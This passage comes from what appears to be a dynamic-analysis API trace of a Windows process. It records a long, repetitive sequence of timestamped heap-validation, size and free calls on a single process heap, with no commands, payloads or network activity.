(hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b350) returned 1 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.998] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b350) returned 0x20 [0127.998] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b350) returned 1 [0127.998] GetProcessHeap () returned 0x1eb77c10000 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13b70) returned 1 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13b70) returned 0x62 [0127.999] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13b70) returned 1 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a920) returned 1 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a920) returned 0x18 [0127.999] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a920) returned 1 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c19110) returned 1 [0127.999] GetProcessHeap () returned 0x1eb77c10000 [0127.999] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c19110) returned 0x20 [0127.999] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c19110) returned 1 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1bc90) returned 1 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1bc90) returned 0x64 [0128.000] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1bc90) returned 1 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a960) returned 1 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a960) returned 0x18 [0128.000] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a960) returned 1 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c19080) returned 1 [0128.000] GetProcessHeap () returned 0x1eb77c10000 [0128.000] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c19080) returned 0x20 [0128.000] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c19080) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a8e0) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a8e0) returned 0xe [0128.001] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a8e0) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13c30) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13c30) returned 0x18 [0128.001] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13c30) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c19050) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c19050) returned 0x20 [0128.001] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c19050) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.001] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c19a50) returned 1 [0128.001] GetProcessHeap () returned 0x1eb77c10000 [0128.002] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c19a50) returned 0x208 [0128.002] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c19a50) returned 1 [0128.002] GetProcessHeap () returned 0x1eb77c10000 [0128.002] GetProcessHeap () returned 0x1eb77c10000 [0128.002] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13950) returned 1 [0128.002] GetProcessHeap () returned 0x1eb77c10000 [0128.002] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13950) returned 0x18 [0128.002] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13950) returned 1 [0128.002] GetProcessHeap () returned 0x1eb77c10000 [0128.002] GetProcessHeap () returned 0x1eb77c10000 [0128.002] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18fc0) returned 1 [0128.002] GetProcessHeap () returned 0x1eb77c10000 [0128.002] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18fc0) returned 0x20 [0128.002] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18fc0) returned 1 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1ba80) returned 1 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1ba80) returned 0x200 [0128.003] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1ba80) returned 1 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13f20) returned 1 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13f20) returned 0x18 [0128.003] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13f20) returned 1 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c190b0) returned 1 [0128.003] GetProcessHeap () returned 0x1eb77c10000 [0128.003] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c190b0) returned 0x20 [0128.004] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c190b0) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14350) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14350) returned 0x14 [0128.004] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14350) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14330) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14330) returned 0x18 [0128.004] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14330) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18f60) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18f60) returned 0x20 [0128.004] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18f60) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13b40) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13b40) returned 0x16 [0128.004] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13b40) returned 1 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.004] GetProcessHeap () returned 0x1eb77c10000 [0128.005] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14830) returned 1 [0128.005] GetProcessHeap () returned 0x1eb77c10000 [0128.005] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14830) returned 0x18 [0128.005] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14830) returned 1 [0128.005] GetProcessHeap () returned 0x1eb77c10000 [0128.005] GetProcessHeap () returned 0x1eb77c10000 [0128.005] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18ea0) returned 1 [0128.005] GetProcessHeap () returned 0x1eb77c10000 [0128.005] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18ea0) returned 0x20 [0128.006] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18ea0) returned 1 [0128.006] GetProcessHeap () returned 0x1eb77c10000 [0128.006] GetProcessHeap () returned 0x1eb77c10000 [0128.006] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14a70) returned 1 [0128.006] GetProcessHeap () returned 0x1eb77c10000 [0128.006] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14a70) returned 0x2 [0128.006] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14a70) returned 1 [0128.006] GetProcessHeap () returned 0x1eb77c10000 [0128.006] GetProcessHeap () returned 0x1eb77c10000 [0128.006] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c143e0) returned 1 [0128.006] GetProcessHeap () returned 0x1eb77c10000 [0128.006] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c143e0) returned 0x20 [0128.006] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c143e0) returned 1 [0128.007] GetProcessHeap () returned 0x1eb77c10000 [0128.007] GetProcessHeap () returned 0x1eb77c10000 [0128.007] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14430) returned 1 [0128.007] GetProcessHeap () returned 0x1eb77c10000 [0128.007] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14430) returned 0x20 [0128.007] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14430) returned 1 [0128.007] GetProcessHeap () returned 0x1eb77c10000 [0128.007] GetProcessHeap () returned 0x1eb77c10000 [0128.007] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14460) returned 1 [0128.007] GetProcessHeap () returned 0x1eb77c10000 [0128.007] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14460) returned 0x20 [0128.008] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14460) returned 1 [0128.008] GetProcessHeap () returned 0x1eb77c10000 [0128.008] GetProcessHeap () returned 0x1eb77c10000 [0128.008] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13fd0) returned 1 [0128.008] GetProcessHeap () returned 0x1eb77c10000 [0128.008] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13fd0) returned 0x20 [0128.009] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13fd0) returned 1 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b4a0) returned 1 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b4a0) returned 0x20 [0128.009] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b4a0) returned 1 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a980) returned 1 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a980) returned 0xe [0128.009] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a980) returned 1 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b980) returned 1 [0128.009] GetProcessHeap () returned 0x1eb77c10000 [0128.009] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b980) returned 0x20 [0128.010] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b980) returned 1 [0128.010] GetProcessHeap () returned 0x1eb77c10000 [0128.010] GetProcessHeap () returned 0x1eb77c10000 [0128.010] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c147f0) returned 1 [0128.010] GetProcessHeap () returned 0x1eb77c10000 [0128.010] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c147f0) returned 0x30 [0128.010] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c147f0) returned 1 [0128.010] GetProcessHeap () returned 0x1eb77c10000 [0128.010] GetProcessHeap () returned 0x1eb77c10000 [0128.010] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b800) returned 1 [0128.010] GetProcessHeap () returned 0x1eb77c10000 [0128.010] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b800) returned 0x20 [0128.011] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b800) returned 1 [0128.011] GetProcessHeap () returned 0x1eb77c10000 [0128.011] GetProcessHeap () returned 0x1eb77c10000 [0128.011] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13c50) returned 1 [0128.011] GetProcessHeap () returned 0x1eb77c10000 [0128.011] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c13c50) returned 0x30 [0128.011] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c13c50) returned 1 [0128.011] GetProcessHeap () returned 0x1eb77c10000 [0128.011] GetProcessHeap () returned 0x1eb77c10000 [0128.011] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b650) returned 1 [0128.011] GetProcessHeap () returned 0x1eb77c10000 [0128.012] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b650) returned 0x20 [0128.012] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b650) returned 1 [0128.026] GetProcessHeap () returned 0x1eb77c10000 [0128.026] GetProcessHeap () returned 0x1eb77c10000 [0128.026] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1ab00) returned 1 [0128.026] GetProcessHeap () returned 0x1eb77c10000 [0128.026] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1ab00) returned 0xe [0128.026] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1ab00) returned 1 [0128.026] GetProcessHeap () returned 0x1eb77c10000 [0128.026] GetProcessHeap () returned 0x1eb77c10000 [0128.026] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b2c0) returned 1 [0128.026] GetProcessHeap () returned 0x1eb77c10000 [0128.026] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b2c0) returned 0x20 [0128.027] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b2c0) returned 1 [0128.027] GetProcessHeap () returned 0x1eb77c10000 [0128.027] GetProcessHeap () returned 0x1eb77c10000 [0128.027] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a8a0) returned 1 [0128.027] GetProcessHeap () returned 0x1eb77c10000 [0128.027] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a8a0) returned 0x16 [0128.027] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a8a0) returned 1 [0128.027] GetProcessHeap () returned 0x1eb77c10000 [0128.027] GetProcessHeap () returned 0x1eb77c10000 [0128.028] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b4d0) returned 1 [0128.028] GetProcessHeap () returned 0x1eb77c10000 [0128.028] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b4d0) returned 0x20 [0128.028] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b4d0) returned 1 [0128.028] GetProcessHeap () returned 0x1eb77c10000 [0128.028] GetProcessHeap () returned 0x1eb77c10000 [0128.028] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1aa20) returned 1 [0128.028] GetProcessHeap () returned 0x1eb77c10000 [0128.029] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1aa20) returned 0x16 [0128.029] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1aa20) returned 1 [0128.029] GetProcessHeap () returned 0x1eb77c10000 [0128.029] GetProcessHeap () returned 0x1eb77c10000 [0128.029] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b560) returned 1 [0128.029] GetProcessHeap () returned 0x1eb77c10000 [0128.029] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b560) returned 0x20 [0128.029] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b560) returned 1 [0128.029] GetProcessHeap () returned 0x1eb77c10000 [0128.029] GetProcessHeap () returned 0x1eb77c10000 [0128.029] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c36a40) returned 1 [0128.029] GetProcessHeap () returned 0x1eb77c10000 [0128.029] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c36a40) returned 0x82 [0128.030] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c36a40) returned 1 [0128.030] GetProcessHeap () returned 0x1eb77c10000 [0128.030] GetProcessHeap () returned 0x1eb77c10000 [0128.030] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b5c0) returned 1 [0128.030] GetProcessHeap () returned 0x1eb77c10000 [0128.030] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b5c0) returned 0x20 [0128.030] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b5c0) returned 1 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a9e0) returned 1 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a9e0) returned 0xe [0128.031] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a9e0) returned 1 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b7d0) returned 1 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b7d0) returned 0x20 [0128.031] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b7d0) returned 1 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a940) returned 1 [0128.031] GetProcessHeap () returned 0x1eb77c10000 [0128.031] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a940) returned 0xa [0128.032] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a940) returned 1 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b830) returned 1 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b830) returned 0x20 [0128.032] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b830) returned 1 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a840) returned 1 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a840) returned 0xc [0128.032] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a840) returned 1 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.032] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1b680) returned 1 [0128.032] GetProcessHeap () returned 0x1eb77c10000 [0128.033] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1b680) returned 0x20 [0128.033] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1b680) returned 1 [0128.033] GetProcessHeap () returned 0x1eb77c10000 [0128.033] GetProcessHeap () returned 0x1eb77c10000 [0128.033] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14410) returned 1 [0128.033] GetProcessHeap () returned 0x1eb77c10000 [0128.033] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14410) returned 0x18 [0128.033] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14410) returned 1 [0128.033] GetProcessHeap () returned 0x1eb77c10000 [0128.033] GetProcessHeap () returned 0x1eb77c10000 [0128.033] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14000) returned 1 [0128.033] GetProcessHeap () returned 0x1eb77c10000 [0128.033] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14000) returned 0x20 [0128.034] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14000) returned 1 [0128.034] GetProcessHeap () returned 0x1eb77c10000 [0128.034] GetProcessHeap () returned 0x1eb77c10000 [0128.034] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18ed0) returned 1 [0128.034] GetProcessHeap () returned 0x1eb77c10000 [0128.034] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18ed0) returned 0x20 [0128.034] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18ed0) returned 1 [0128.035] GetProcessHeap () returned 0x1eb77c10000 [0128.035] GetProcessHeap () returned 0x1eb77c10000 [0128.035] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18f00) returned 1 [0128.035] GetProcessHeap () returned 0x1eb77c10000 [0128.035] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18f00) returned 0x20 [0128.035] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18f00) returned 1 [0128.035] GetProcessHeap () returned 0x1eb77c10000 [0128.035] GetProcessHeap () returned 0x1eb77c10000 [0128.035] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c190e0) returned 1 [0128.035] GetProcessHeap () returned 0x1eb77c10000 [0128.035] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c190e0) returned 0x20 [0128.036] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c190e0) returned 1 [0128.036] GetProcessHeap () returned 0x1eb77c10000 [0128.036] GetProcessHeap () returned 0x1eb77c10000 [0128.036] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c12110) returned 1 [0128.036] GetProcessHeap () returned 0x1eb77c10000 [0128.036] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c12110) returned 0x18 [0128.036] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c12110) returned 1 [0128.036] GetProcessHeap () returned 0x1eb77c10000 [0128.036] GetProcessHeap () returned 0x1eb77c10000 [0128.036] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18f30) returned 1 [0128.036] GetProcessHeap () returned 0x1eb77c10000 [0128.036] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18f30) returned 0x20 [0128.037] RtlFreeHeap 